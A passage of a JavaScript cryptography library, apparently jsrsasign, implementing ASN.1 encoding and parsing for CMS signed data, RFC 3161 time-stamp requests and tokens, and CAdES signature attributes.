        if (i.match(/^[0-2][.][0-9.]+$/)) {
            this.dEContentType = new h({
                oid: i
            })
        } else {
            this.dEContentType = new h({
                name: i
            })
        }
    };
    this.setContentValue = function(i) {
        if (i !== undefined) {
            if (typeof i.hex == "string") {
                this.eContentValueHex = i.hex
            } else {
                if (typeof i.str == "string") {
                    this.eContentValueHex = utf8tohex(i.str)
                }
            }
        }
    };
    this.setContentValueHex = function(i) {
        this.eContentValueHex = i
    };
    this.setContentValueStr = function(i) {
        this.eContentValueHex = utf8tohex(i)
    };
    this.getEncodedHex = function() {
        if (typeof this.eContentValueHex != "string") {
            throw "eContentValue not yet set"
        }
        var k = new d({
            hex: this.eContentValueHex
        });
        this.dEContent = new e({
            obj: k,
            tag: "a0",
            explicit: true
        });
        var i = [this.dEContentType];
        if (!this.isDetached) {
            i.push(this.dEContent)
        }
        var j = new a({
            array: i
        });
        this.hTLV = j.getEncodedHex();
        return this.hTLV
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.EncapsulatedContentInfo, KJUR.asn1.ASN1Object);
KJUR.asn1.cms.ContentInfo = function(f) {
    var c = KJUR,
        b = c.asn1,
        d = b.DERTaggedObject,
        a = b.DERSequence,
        e = b.x509;
    KJUR.asn1.cms.ContentInfo.superclass.constructor.call(this);
    this.dContentType = null;
    this.dContent = null;
    this.setContentType = function(g) {
        if (typeof g == "string") {
            this.dContentType = e.OID.name2obj(g)
        }
    };
    this.getEncodedHex = function() {
        var h = new d({
            obj: this.dContent,
            tag: "a0",
            explicit: true
        });
        var g = new a({
            array: [this.dContentType, h]
        });
        this.hTLV = g.getEncodedHex();
        return this.hTLV
    };
    if (f !== undefined) {
        if (f.type) {
            this.setContentType(f.type)
        }
        if (f.obj && f.obj instanceof b.ASN1Object) {
            this.dContent = f.obj
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.ContentInfo, KJUR.asn1.ASN1Object);
KJUR.asn1.cms.SignedData = function(e) {
    var a = KJUR,
        h = a.asn1,
        j = h.ASN1Object,
        g = h.DERInteger,
        m = h.DERSet,
        f = h.DERSequence,
        b = h.DERTaggedObject,
        l = h.cms,
        i = l.EncapsulatedContentInfo,
        d = l.SignerInfo,
        n = l.ContentInfo,
        c = h.x509,
        k = c.AlgorithmIdentifier;
    KJUR.asn1.cms.SignedData.superclass.constructor.call(this);
    this.dCMSVersion = new g({
        "int": 1
    });
    this.dDigestAlgs = null;
    this.digestAlgNameList = [];
    this.dEncapContentInfo = new i();
    this.dCerts = null;
    this.certificateList = [];
    this.crlList = [];
    this.signerInfoList = [new d()];
    this.addCertificatesByPEM = function(p) {
        var q = pemtohex(p);
        var r = new j();
        r.hTLV = q;
        this.certificateList.push(r)
    };
    this.getEncodedHex = function() {
        if (typeof this.hTLV == "string") {
            return this.hTLV
        }
        if (this.dDigestAlgs == null) {
            var u = [];
            for (var t = 0; t < this.digestAlgNameList.length; t++) {
                var s = this.digestAlgNameList[t];
                var w = new k({
                    name: s
                });
                u.push(w)
            }
            this.dDigestAlgs = new m({
                array: u
            })
        }
        var p = [this.dCMSVersion, this.dDigestAlgs, this.dEncapContentInfo];
        if (this.dCerts == null) {
            if (this.certificateList.length > 0) {
                var v = new m({
                    array: this.certificateList
                });
                this.dCerts = new b({
                    obj: v,
                    tag: "a0",
                    explicit: false
                })
            }
        }
        if (this.dCerts != null) {
            p.push(this.dCerts)
        }
        var r = new m({
            array: this.signerInfoList
        });
        p.push(r);
        var q = new f({
            array: p
        });
        this.hTLV = q.getEncodedHex();
        return this.hTLV
    };
    this.getContentInfo = function() {
        this.getEncodedHex();
        var o = new n({
            type: "signed-data",
            obj: this
        });
        return o
    };
    this.getContentInfoEncodedHex = function() {
        var o = this.getContentInfo();
        var p = o.getEncodedHex();
        return p
    };
    this.getPEM = function() {
        return hextopem(this.getContentInfoEncodedHex(), "CMS")
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.SignedData, KJUR.asn1.ASN1Object);
KJUR.asn1.cms.CMSUtil = new function() {};
KJUR.asn1.cms.CMSUtil.newSignedData = function(d) {
    var b = KJUR,
        j = b.asn1,
        q = j.cms,
        f = q.SignerInfo,
        n = q.SignedData,
        o = q.SigningTime,
        a = q.SigningCertificate,
        p = q.SigningCertificateV2,
        c = j.cades,
        e = c.SignaturePolicyIdentifier;
    var m = new n();
    m.dEncapContentInfo.setContentValue(d.content);
    if (typeof d.certs == "object") {
        for (var h = 0; h < d.certs.length; h++) {
            m.addCertificatesByPEM(d.certs[h])
        }
    }
    m.signerInfoList = [];
    for (var h = 0; h < d.signerInfos.length; h++) {
        var k = d.signerInfos[h];
        var g = new f();
        g.setSignerIdentifier(k.signerCert);
        g.setForContentAndHash({
            sdObj: m,
            eciObj: m.dEncapContentInfo,
            hashAlg: k.hashAlg
        });
        for (attrName in k.sAttr) {
            var r = k.sAttr[attrName];
            if (attrName == "SigningTime") {
                var l = new o(r);
                g.dSignedAttrs.add(l)
            }
            if (attrName == "SigningCertificate") {
                var l = new a(r);
                g.dSignedAttrs.add(l)
            }
            if (attrName == "SigningCertificateV2") {
                var l = new p(r);
                g.dSignedAttrs.add(l)
            }
            if (attrName == "SignaturePolicyIdentifier") {
                var l = new e(r);
                g.dSignedAttrs.add(l)
            }
        }
        g.sign(k.signerPrvKey, k.sigAlg);
        m.signerInfoList.push(g)
    }
    return m
};
KJUR.asn1.cms.CMSUtil.verifySignedData = function(n) {
    var C = KJUR,
        p = C.asn1,
        s = p.cms,
        D = s.SignerInfo,
        q = s.SignedData,
        y = s.SigningTime,
        b = s.SigningCertificate,
        d = s.SigningCertificateV2,
        A = p.cades,
        u = A.SignaturePolicyIdentifier,
        i = C.lang.String.isHex,
        v = ASN1HEX,
        h = v.getVbyList,
        a = v.getTLVbyList,
        t = v.getIdxbyList,
        z = v.getChildIdx,
        c = v.getTLV,
        B = v.oidname,
        j = C.crypto.Util.hashHex;
    if (n.cms === undefined && !i(n.cms)) {}
    var E = n.cms;
    var g = function(J, H) {
        var G;
        for (var I = 3; I < 6; I++) {
            G = t(J, 0, [1, 0, I]);
            if (G !== undefined) {
                var F = J.substr(G, 2);
                if (F === "a0") {
                    H.certsIdx = G
                }
                if (F === "a1") {
                    H.revinfosIdx = G
                }
                if (F === "31") {
                    H.signerinfosIdx = G
                }
            }
        }
    };
    var l = function(I, F) {
        var H = F.signerinfosIdx;
        if (H === undefined) {
            return
        }
        var L = z(I, H);
        F.signerInfoIdxList = L;
        for (var G = 0; G < L.length; G++) {
            var K = L[G];
            var J = {
                idx: K
            };
            k(I, J);
            F.signerInfos.push(J)
        }
    };
    var k = function(I, J) {
        var F = J.idx;
        J.signerid_issuer1 = a(I, F, [1, 0], "30");
        J.signerid_serial1 = h(I, F, [1, 1], "02");
        J.hashalg = B(h(I, F, [2, 0], "06"));
        var H = t(I, F, [3], "a0");
        J.idxSignedAttrs = H;
        f(I, J, H);
        var G = z(I, F);
        var K = G.length;
        if (K < 6) {
            throw "malformed SignerInfo"
        }
        J.sigalg = B(h(I, F, [K - 2, 0], "06"));
        J.sigval = h(I, F, [K - 1], "04")
    };
    var f = function(L, M, F) {
        var J = z(L, F);
        M.signedAttrIdxList = J;
        for (var K = 0; K < J.length; K++) {
            var I = J[K];
            var G = h(L, I, [0], "06");
            var H;
            if (G === "2a864886f70d010905") {
                H = hextoutf8(h(L, I, [1, 0]));
                M.saSigningTime = H
            } else {
                if (G === "2a864886f70d010904") {
                    H = h(L, I, [1, 0], "04");
                    M.saMessageDigest = H
                }
            }
        }
    };
    var w = function(G, F) {
        if (h(G, 0, [0], "06") !== "2a864886f70d010702") {
            return F
        }
        F.cmsType = "signedData";
        F.econtent = h(G, 0, [1, 0, 2, 1, 0]);
        g(G, F);
        F.signerInfos = [];
        l(G, F)
    };
    var o = function(J, F) {
        var G = F.parse.signerInfos;
        var L = G.length;
        var K = true;
        for (var I = 0; I < L; I++) {
            var H = G[I];
            e(J, F, H, I);
            if (!H.isValid) {
                K = false
            }
        }
        F.isValid = K
    };
    var x = function(F, Q, J, P) {
        var N = Q.parse.certsIdx;
        var H;
        if (Q.certs === undefined) {
            H = [];
            Q.certkeys = [];
            var K = z(F, N);
            for (var I = 0; I < K.length; I++) {
                var M = c(F, K[I]);
                var O = new X509();
                O.readCertHex(M);
                H[I] = O;
                Q.certkeys[I] = O.getPublicKey()
            }
            Q.certs = H
        } else {
            H = Q.certs
        }
        Q.cccc = H.length;
        Q.cccci = K.length;
        for (var I = 0; I < H.length; I++) {
            var L = O.getIssuerHex();
            var G = O.getSerialNumberHex();
            if (J.signerid_issuer1 === L && J.signerid_serial1 === G) {
                J.certkey_idx = I
            }
        }
    };
    var e = function(F, R, I, N) {
        I.verifyDetail = {};
        var Q = I.verifyDetail;
        var K = R.parse.econtent;
        var G = I.hashalg;
        var L = I.saMessageDigest;
        Q.validMessageDigest = false;
        if (j(K, G) === L) {
            Q.validMessageDigest = true
        }
        x(F, R, I, N);
        Q.validSignatureValue = false;
        var H = I.sigalg;
        var M = "31" + c(F, I.idxSignedAttrs).substr(2);
        I.signedattrshex = M;
        var J = R.certs[I.certkey_idx].getPublicKey();
        var P = new KJUR.crypto.Signature({
            alg: H
        });
        P.init(J);
        P.updateHex(M);
        var O = P.verify(I.sigval);
        Q.validSignatureValue_isValid = O;
        if (O === true) {
            Q.validSignatureValue = true
        }
        I.isValid = false;
        if (Q.validMessageDigest && Q.validSignatureValue) {
            I.isValid = true
        }
    };
    var m = function() {};
    var r = {
        isValid: false,
        parse: {}
    };
    w(E, r.parse);
    o(E, r);
    return r
};
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.asn1 == "undefined" || !KJUR.asn1) {
    KJUR.asn1 = {}
}
if (typeof KJUR.asn1.tsp == "undefined" || !KJUR.asn1.tsp) {
    KJUR.asn1.tsp = {}
}
KJUR.asn1.tsp.Accuracy = function(f) {
    var c = KJUR,
        b = c.asn1,
        e = b.DERInteger,
        a = b.DERSequence,
        d = b.DERTaggedObject;
    b.tsp.Accuracy.superclass.constructor.call(this);
    this.seconds = null;
    this.millis = null;
    this.micros = null;
    this.getEncodedHex = function() {
        var i = null;
        var k = null;
        var m = null;
        var g = [];
        if (this.seconds != null) {
            i = new e({
                "int": this.seconds
            });
            g.push(i)
        }
        if (this.millis != null) {
            var l = new e({
                "int": this.millis
            });
            k = new d({
                obj: l,
                tag: "80",
                explicit: false
            });
            g.push(k)
        }
        if (this.micros != null) {
            var j = new e({
                "int": this.micros
            });
            m = new d({
                obj: j,
                tag: "81",
                explicit: false
            });
            g.push(m)
        }
        var h = new a({
            array: g
        });
        this.hTLV = h.getEncodedHex();
        return this.hTLV
    };
    if (f !== undefined) {
        if (typeof f.seconds == "number") {
            this.seconds = f.seconds
        }
        if (typeof f.millis == "number") {
            this.millis = f.millis
        }
        if (typeof f.micros == "number") {
            this.micros = f.micros
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.tsp.Accuracy, KJUR.asn1.ASN1Object);
KJUR.asn1.tsp.MessageImprint = function(g) {
    var c = KJUR,
        b = c.asn1,
        a = b.DERSequence,
        d = b.DEROctetString,
        f = b.x509,
        e = f.AlgorithmIdentifier;
    b.tsp.MessageImprint.superclass.constructor.call(this);
    this.dHashAlg = null;
    this.dHashValue = null;
    this.getEncodedHex = function() {
        if (typeof this.hTLV == "string") {
            return this.hTLV
        }
        var h = new a({
            array: [this.dHashAlg, this.dHashValue]
        });
        return h.getEncodedHex()
    };
    if (g !== undefined) {
        if (typeof g.hashAlg == "string") {
            this.dHashAlg = new e({
                name: g.hashAlg
            })
        }
        if (typeof g.hashValue == "string") {
            this.dHashValue = new d({
                hex: g.hashValue
            })
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.tsp.MessageImprint, KJUR.asn1.ASN1Object);
KJUR.asn1.tsp.TimeStampReq = function(c) {
    var a = KJUR,
        f = a.asn1,
        d = f.DERSequence,
        e = f.DERInteger,
        g = f.DERBoolean,
        i = f.DERObjectIdentifier,
        h = f.tsp,
        b = h.MessageImprint;
    h.TimeStampReq.superclass.constructor.call(this);
    this.dVersion = new e({
        "int": 1
    });
    this.dMessageImprint = null;
    this.dPolicy = null;
    this.dNonce = null;
    this.certReq = true;
    this.setMessageImprint = function(j) {
        if (j instanceof b) {
            this.dMessageImprint = j;
            return
        }
        if (typeof j == "object") {
            this.dMessageImprint = new b(j)
        }
    };
    this.getEncodedHex = function() {
        if (this.dMessageImprint == null) {
            throw "messageImprint shall be specified"
        }
        var j = [this.dVersion, this.dMessageImprint];
        if (this.dPolicy != null) {
            j.push(this.dPolicy)
        }
        if (this.dNonce != null) {
            j.push(this.dNonce)
        }
        if (this.certReq) {
            j.push(new g())
        }
        var k = new d({
            array: j
        });
        this.hTLV = k.getEncodedHex();
        return this.hTLV
    };
    if (c !== undefined) {
        if (typeof c.mi == "object") {
            this.setMessageImprint(c.mi)
        }
        if (typeof c.policy == "object") {
            this.dPolicy = new i(c.policy)
        }
        if (typeof c.nonce == "object") {
            this.dNonce = new e(c.nonce)
        }
        if (typeof c.certreq == "boolean") {
            this.certReq = c.certreq
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.tsp.TimeStampReq, KJUR.asn1.ASN1Object);
KJUR.asn1.tsp.TSTInfo = function(e) {
    var c = KJUR,
        i = c.asn1,
        f = i.DERSequence,
        h = i.DERInteger,
        k = i.DERBoolean,
        g = i.DERGeneralizedTime,
        l = i.DERObjectIdentifier,
        j = i.tsp,
        d = j.MessageImprint,
        b = j.Accuracy,
        a = i.x509.X500Name;
    j.TSTInfo.superclass.constructor.call(this);
    this.dVersion = new h({
        "int": 1
    });
    this.dPolicy = null;
    this.dMessageImprint = null;
    this.dSerialNumber = null;
    this.dGenTime = null;
    this.dAccuracy = null;
    this.dOrdering = null;
    this.dNonce = null;
    this.dTsa = null;
    this.getEncodedHex = function() {
        var m = [this.dVersion];
        if (this.dPolicy == null) {
            throw "policy shall be specified."
        }
        m.push(this.dPolicy);
        if (this.dMessageImprint == null) {
            throw "messageImprint shall be specified."
        }
        m.push(this.dMessageImprint);
        if (this.dSerialNumber == null) {
            throw "serialNumber shall be specified."
        }
        m.push(this.dSerialNumber);
        if (this.dGenTime == null) {
            throw "genTime shall be specified."
        }
        m.push(this.dGenTime);
        if (this.dAccuracy != null) {
            m.push(this.dAccuracy)
        }
        if (this.dOrdering != null) {
            m.push(this.dOrdering)
        }
        if (this.dNonce != null) {
            m.push(this.dNonce)
        }
        if (this.dTsa != null) {
            m.push(this.dTsa)
        }
        var n = new f({
            array: m
        });
        this.hTLV = n.getEncodedHex();
        return this.hTLV
    };
    if (e !== undefined) {
        if (typeof e.policy == "string") {
            if (!e.policy.match(/^[0-9.]+$/)) {
                throw "policy shall be oid like 0.1.4.134"
            }
            this.dPolicy = new l({
                oid: e.policy
            })
        }
        if (e.messageImprint !== undefined) {
            this.dMessageImprint = new d(e.messageImprint)
        }
        if (e.serialNumber !== undefined) {
            this.dSerialNumber = new h(e.serialNumber)
        }
        if (e.genTime !== undefined) {
            this.dGenTime = new g(e.genTime)
        }
        if (e.accuracy !== undefined) {
            this.dAccuracy = new b(e.accuracy)
        }
        if (e.ordering !== undefined && e.ordering == true) {
            this.dOrdering = new k()
        }
        if (e.nonce !== undefined) {
            this.dNonce = new h(e.nonce)
        }
        if (e.tsa !== undefined) {
            this.dTsa = new a(e.tsa)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.tsp.TSTInfo, KJUR.asn1.ASN1Object);
KJUR.asn1.tsp.TimeStampResp = function(g) {
    var e = KJUR,
        d = e.asn1,
        c = d.DERSequence,
        f = d.ASN1Object,
        a = d.tsp,
        b = a.PKIStatusInfo;
    a.TimeStampResp.superclass.constructor.call(this);
    this.dStatus = null;
    this.dTST = null;
    this.getEncodedHex = function() {
        if (this.dStatus == null) {
            throw "status shall be specified"
        }
        var h = [this.dStatus];
        if (this.dTST != null) {
            h.push(this.dTST)
        }
        var i = new c({
            array: h
        });
        this.hTLV = i.getEncodedHex();
        return this.hTLV
    };
    if (g !== undefined) {
        if (typeof g.status == "object") {
            this.dStatus = new b(g.status)
        }
        if (g.tst !== undefined && g.tst instanceof f) {
            this.dTST = g.tst.getContentInfo()
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.tsp.TimeStampResp, KJUR.asn1.ASN1Object);
KJUR.asn1.tsp.PKIStatusInfo = function(h) {
    var g = KJUR,
        f = g.asn1,
        e = f.DERSequence,
        a = f.tsp,
        d = a.PKIStatus,
        c = a.PKIFreeText,
        b = a.PKIFailureInfo;
    a.PKIStatusInfo.superclass.constructor.call(this);
    this.dStatus = null;
    this.dStatusString = null;
    this.dFailureInfo = null;
    this.getEncodedHex = function() {
        if (this.dStatus == null) {
            throw "status shall be specified"
        }
        var i = [this.dStatus];
        if (this.dStatusString != null) {
            i.push(this.dStatusString)
        }
        if (this.dFailureInfo != null) {
            i.push(this.dFailureInfo)
        }
        var j = new e({
            array: i
        });
        this.hTLV = j.getEncodedHex();
        return this.hTLV
    };
    if (h !== undefined) {
        if (typeof h.status == "object") {
            this.dStatus = new d(h.status)
        }
        if (typeof h.statstr == "object") {
            this.dStatusString = new c({
                array: h.statstr
            })
        }
        if (typeof h.failinfo == "object") {
            this.dFailureInfo = new b(h.failinfo)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.tsp.PKIStatusInfo, KJUR.asn1.ASN1Object);
KJUR.asn1.tsp.PKIStatus = function(h) {
    var d = KJUR,
        c = d.asn1,
        g = c.DERInteger,
        a = c.tsp,
        b = a.PKIStatus;
    a.PKIStatus.superclass.constructor.call(this);
    var f = null;
    this.getEncodedHex = function() {
        this.hTLV = this.dStatus.getEncodedHex();
        return this.hTLV
    };
    if (h !== undefined) {
        if (h.name !== undefined) {
            var e = b.valueList;
            if (e[h.name] === undefined) {
                throw "name undefined:" + h.name
            }
            this.dStatus = new g({
                "int": e[h.name]
            })
        } else {
            this.dStatus = new g(h)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.tsp.PKIStatus, KJUR.asn1.ASN1Object);
KJUR.asn1.tsp.PKIStatus.valueList = {
    granted: 0,
    grantedWithMods: 1,
    rejection: 2,
    waiting: 3,
    revocationWarning: 4,
    revocationNotification: 5
};
KJUR.asn1.tsp.PKIFreeText = function(f) {
    var e = KJUR,
        d = e.asn1,
        b = d.DERSequence,
        c = d.DERUTF8String,
        a = d.tsp;
    a.PKIFreeText.superclass.constructor.call(this);
    this.textList = [];
    this.getEncodedHex = function() {
        var g = [];
        for (var j = 0; j < this.textList.length; j++) {
            g.push(new c({
                str: this.textList[j]
            }))
        }
        var h = new b({
            array: g
        });
        this.hTLV = h.getEncodedHex();
        return this.hTLV
    };
    if (f !== undefined) {
        if (typeof f.array == "object") {
            this.textList = f.array
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.tsp.PKIFreeText, KJUR.asn1.ASN1Object);
KJUR.asn1.tsp.PKIFailureInfo = function(g) {
    var d = KJUR,
        c = d.asn1,
        f = c.DERBitString,
        a = c.tsp,
        b = a.PKIFailureInfo;
    b.superclass.constructor.call(this);
    this.value = null;
    this.getEncodedHex = function() {
        if (this.value == null) {
            throw "value shall be specified"
        }
        var h = new Number(this.value).toString(2);
        var i = new f();
        i.setByBinaryString(h);
        this.hTLV = i.getEncodedHex();
        return this.hTLV
    };
    if (g !== undefined) {
        if (typeof g.name == "string") {
            var e = b.valueList;
            if (e[g.name] === undefined) {
                throw "name undefined:" + g.name
            }
            this.value = e[g.name]
        } else {
            if (typeof g["int"] == "number") {
                this.value = g["int"]
            }
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.tsp.PKIFailureInfo, KJUR.asn1.ASN1Object);
KJUR.asn1.tsp.PKIFailureInfo.valueList = {
    badAlg: 0,
    badRequest: 2,
    badDataFormat: 5,
    timeNotAvailable: 14,
    unacceptedPolicy: 15,
    unacceptedExtension: 16,
    addInfoNotAvailable: 17,
    systemFailure: 25
};
KJUR.asn1.tsp.AbstractTSAAdapter = function(a) {
    this.getTSTHex = function(c, b) {
        throw "not implemented yet"
    }
};
KJUR.asn1.tsp.SimpleTSAAdapter = function(e) {
    var d = KJUR,
        c = d.asn1,
        a = c.tsp,
        b = d.crypto.Util.hashHex;
    a.SimpleTSAAdapter.superclass.constructor.call(this);
    this.params = null;
    this.serial = 0;
    this.getTSTHex = function(g, f) {
        var i = b(g, f);
        this.params.tstInfo.messageImprint = {
            hashAlg: f,
            hashValue: i
        };
        this.params.tstInfo.serialNumber = {
            "int": this.serial++
        };
        var h = Math.floor(Math.random() * 1000000000);
        this.params.tstInfo.nonce = {
            "int": h
        };
        var j = a.TSPUtil.newTimeStampToken(this.params);
        return j.getContentInfoEncodedHex()
    };
    if (e !== undefined) {
        this.params = e
    }
};
YAHOO.lang.extend(KJUR.asn1.tsp.SimpleTSAAdapter, KJUR.asn1.tsp.AbstractTSAAdapter);
KJUR.asn1.tsp.FixedTSAAdapter = function(e) {
    var d = KJUR,
        c = d.asn1,
        a = c.tsp,
        b = d.crypto.Util.hashHex;
    a.FixedTSAAdapter.superclass.constructor.call(this);
    this.params = null;
    this.getTSTHex = function(g, f) {
        var h = b(g, f);
        this.params.tstInfo.messageImprint = {
            hashAlg: f,
            hashValue: h
        };
        var i = a.TSPUtil.newTimeStampToken(this.params);
        return i.getContentInfoEncodedHex()
    };
    if (e !== undefined) {
        this.params = e
    }
};
YAHOO.lang.extend(KJUR.asn1.tsp.FixedTSAAdapter, KJUR.asn1.tsp.AbstractTSAAdapter);
KJUR.asn1.tsp.TSPUtil = new function() {};
KJUR.asn1.tsp.TSPUtil.newTimeStampToken = function(c) {
    var b = KJUR,
        h = b.asn1,
        m = h.cms,
        k = h.tsp,
        a = h.tsp.TSTInfo;
    var j = new m.SignedData();
    var g = new a(c.tstInfo);
    var f = g.getEncodedHex();
    j.dEncapContentInfo.setContentValue({
        hex: f
    });
    j.dEncapContentInfo.setContentType("tstinfo");
    if (typeof c.certs == "object") {
        for (var e = 0; e < c.certs.length; e++) {
            j.addCertificatesByPEM(c.certs[e])
        }
    }
    var d = j.signerInfoList[0];
    d.setSignerIdentifier(c.signerCert);
    d.setForContentAndHash({
        sdObj: j,
        eciObj: j.dEncapContentInfo,
        hashAlg: c.hashAlg
    });
    var l = new m.SigningCertificate({
        array: [c.signerCert]
    });
    d.dSignedAttrs.add(l);
    d.sign(c.signerPrvKey, c.sigAlg);
    return j
};
KJUR.asn1.tsp.TSPUtil.parseTimeStampReq = function(m) {
    var l = ASN1HEX;
    var h = l.getChildIdx;
    var f = l.getV;
    var b = l.getTLV;
    var j = {};
    j.certreq = false;
    var a = h(m, 0);
    if (a.length < 2) {
        throw "TimeStampReq must have at least 2 items"
    }
    var e = b(m, a[1]);
    j.mi = KJUR.asn1.tsp.TSPUtil.parseMessageImprint(e);
    for (var d = 2; d < a.length; d++) {
        var g = a[d];
        var k = m.substr(g, 2);
        if (k == "06") {
            var c = f(m, g);
            j.policy = l.hextooidstr(c)
        }
        if (k == "02") {
            j.nonce = f(m, g)
        }
        if (k == "01") {
            j.certreq = true
        }
    }
    return j
};
KJUR.asn1.tsp.TSPUtil.parseMessageImprint = function(c) {
    var m = ASN1HEX;
    var j = m.getChildIdx;
    var i = m.getV;
    var g = m.getIdxbyList;
    var k = {};
    if (c.substr(0, 2) != "30") {
        throw "head of messageImprint hex shall be '30'"
    }
    var a = j(c, 0);
    var l = g(c, 0, [0, 0]);
    var e = i(c, l);
    var d = m.hextooidstr(e);
    var h = KJUR.asn1.x509.OID.oid2name(d);
    if (h == "") {
        throw "hashAlg name undefined:" + d
    }
    var b = h;
    var f = g(c, 0, [1]);
    k.hashAlg = b;
    k.hashValue = i(c, f);
    return k
};
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.asn1 == "undefined" || !KJUR.asn1) {
    KJUR.asn1 = {}
}
if (typeof KJUR.asn1.cades == "undefined" || !KJUR.asn1.cades) {
    KJUR.asn1.cades = {}
}
KJUR.asn1.cades.SignaturePolicyIdentifier = function(f) {
    var b = KJUR,
        h = b.asn1,
        i = h.DERObjectIdentifier,
        g = h.DERSequence,
        e = h.cades,
        c = e.OtherHashAlgAndValue;
    e.SignaturePolicyIdentifier.superclass.constructor.call(this);
    this.attrTypeOid = "1.2.840.113549.1.9.16.2.15";
    if (f !== undefined) {
        if (typeof f.oid == "string" && typeof f.hash == "object") {
            var d = new i({
                oid: f.oid
            });
            var a = new c(f.hash);
            var j = new g({
                array: [d, a]
            });
            this.valueList = [j]
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cades.SignaturePolicyIdentifier, KJUR.asn1.cms.Attribute);
KJUR.asn1.cades.OtherHashAlgAndValue = function(e) {
    var a = KJUR,
        g = a.asn1,
        f = g.DERSequence,
        h = g.DEROctetString,
        d = g.x509,
        i = d.AlgorithmIdentifier,
        c = g.cades,
        b = c.OtherHashAlgAndValue;
    b.superclass.constructor.call(this);
    this.dAlg = null;
    this.dHash = null;
    this.getEncodedHex = function() {
        var j = new f({
            array: [this.dAlg, this.dHash]
        });
        this.hTLV = j.getEncodedHex();
        return this.hTLV
    };
    if (e !== undefined) {
        if (typeof e.alg == "string" && typeof e.hash == "string") {
            this.dAlg = new i({
                name: e.alg
            });
            this.dHash = new h({
                hex: e.hash
            })
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cades.OtherHashAlgAndValue, KJUR.asn1.ASN1Object);
KJUR.asn1.cades.SignatureTimeStamp = function(h) {
    var c = KJUR,
        b = c.asn1,
        e = b.ASN1Object,
        g = b.x509,
        a = b.cades;
    a.SignatureTimeStamp.superclass.constructor.call(this);
    this.attrTypeOid = "1.2.840.113549.1.9.16.2.14";
    this.tstHex = null;
    if (h !== undefined) {
        if (h.res !== undefined) {
            if (typeof h.res == "string" && h.res.match(/^[0-9A-Fa-f]+$/)) {} else {
                if (h.res instanceof e) {} else {
                    throw "res param shall be ASN1Object or hex string"
                }
            }
        }
        if (h.tst !== undefined) {
            if (typeof h.tst == "string" && h.tst.match(/^[0-9A-Fa-f]+$/)) {
                var f = new e();
                this.tstHex = h.tst;
                f.hTLV = this.tstHex;
                f.getEncodedHex();
                this.valueList = [f]
            } else {
                if (h.tst instanceof e) {} else {
                    throw "tst param shall be ASN1Object or hex string"
                }
            }
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cades.SignatureTimeStamp, KJUR.asn1.cms.Attribute);
KJUR.asn1.cades.CompleteCertificateRefs = function(d) {
    var c = KJUR,
        b = c.asn1,
        a = b.cades;
    a.CompleteCertificateRefs.superclass.constructor.call(this);
    this.attrTypeOid = "1.2.840.113549.1.9.16.2.21";
    this.setByArray = function(e) {
        this.valueList = [];
        for (var f = 0; f < e.length; f++) {
            var g = new a.OtherCertID(e[f]);
            this.valueList.push(g)
        }
    };
    if (d !== undefined) {
        if (typeof d == "object" && typeof d.length == "number") {
            this.setByArray(d)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cades.CompleteCertificateRefs, KJUR.asn1.cms.Attribute);
KJUR.asn1.cades.OtherCertID = function(e) {
    var c = KJUR,
        b = c.asn1,
        d = b.cms,
        a = b.cades;
    a.OtherCertID.superclass.constructor.call(this);
    this.hasIssuerSerial = true;
    this.dOtherCertHash = null;
    this.dIssuerSerial = null;
    this.setByCertPEM = function(f) {
        this.dOtherCertHash = new a.OtherHash(f);
        if (this.hasIssuerSerial) {
            this.dIssuerSerial = new d.IssuerAndSerialNumber(f)
        }
    };
    this.getEncodedHex = function() {
        if (this.hTLV != null) {
            return this.hTLV
        }
        if (this.dOtherCertHash == null) {
            throw "otherCertHash not set"
        }
        var f = [this.dOtherCertHash];
        if (this.dIssuerSerial != null) {
            f.push(this.dIssuerSerial)
        }
        var g = new b.DERSequence({
            array: f
        });
        this.hTLV = g.getEncodedHex();
        return this.hTLV
    };
    if (e !== undefined) {
        if (typeof e == "string" && e.indexOf("-----BEGIN ") != -1) {
            this.setByCertPEM(e)
        }
        if (typeof e == "object") {
            if (e.hasis === false) {
                this.hasIssuerSerial = false
            }
            if (typeof e.cert == "string") {
                this.setByCertPEM(e.cert)
            }
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cades.OtherCertID, KJUR.asn1.ASN1Object);
KJUR.asn1.cades.OtherHash = function(f) {
    var d = KJUR,
        c = d.asn1,
        e = c.cms,
        b = c.cades,
        g = b.OtherHashAlgAndValue,
        a = d.crypto.Util.hashHex;
    b.OtherHash.superclass.constructor.call(this);
    this.alg = "sha256";
    this.dOtherHash = null;
    this.setByCertPEM = function(h) {
        if (h.indexOf("-----BEGIN ") == -1) {
            throw "certPEM not to seem PEM format"
        }
        var i = pemtohex(h);
        var j = a(i, this.alg);
        this.dOtherHash = new g({
            alg: this.alg,
            hash: j
        })
    };
    this.getEncodedHex = function() {
        if (this.dOtherHash == null) {
            throw "OtherHash not set"
        }
        return this.dOtherHash.getEncodedHex()
    };
    if (f !== undefined) {
        if (typeof f == "string") {
            if (f.indexOf("-----BEGIN ") != -1) {
                this.setByCertPEM(f)
            } else {
                if (f.match(/^[0-9A-Fa-f]+$/)) {
                    this.dOtherHash = new c.DEROctetString({
                        hex: f
                    })
                } else {
                    throw "unsupported string value for params"
                }
            }
        } else {
            if (typeof f == "object") {
                if (typeof f.cert == "string") {
                    if (typeof f.alg == "string") {
                        this.alg = f.alg
                    }
                    this.setByCertPEM(f.cert)
                } else {
                    this.dOtherHash = new g(f)
                }
            }
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cades.OtherHash, KJUR.asn1.ASN1Object);
KJUR.asn1.cades.CAdESUtil = new function() {};
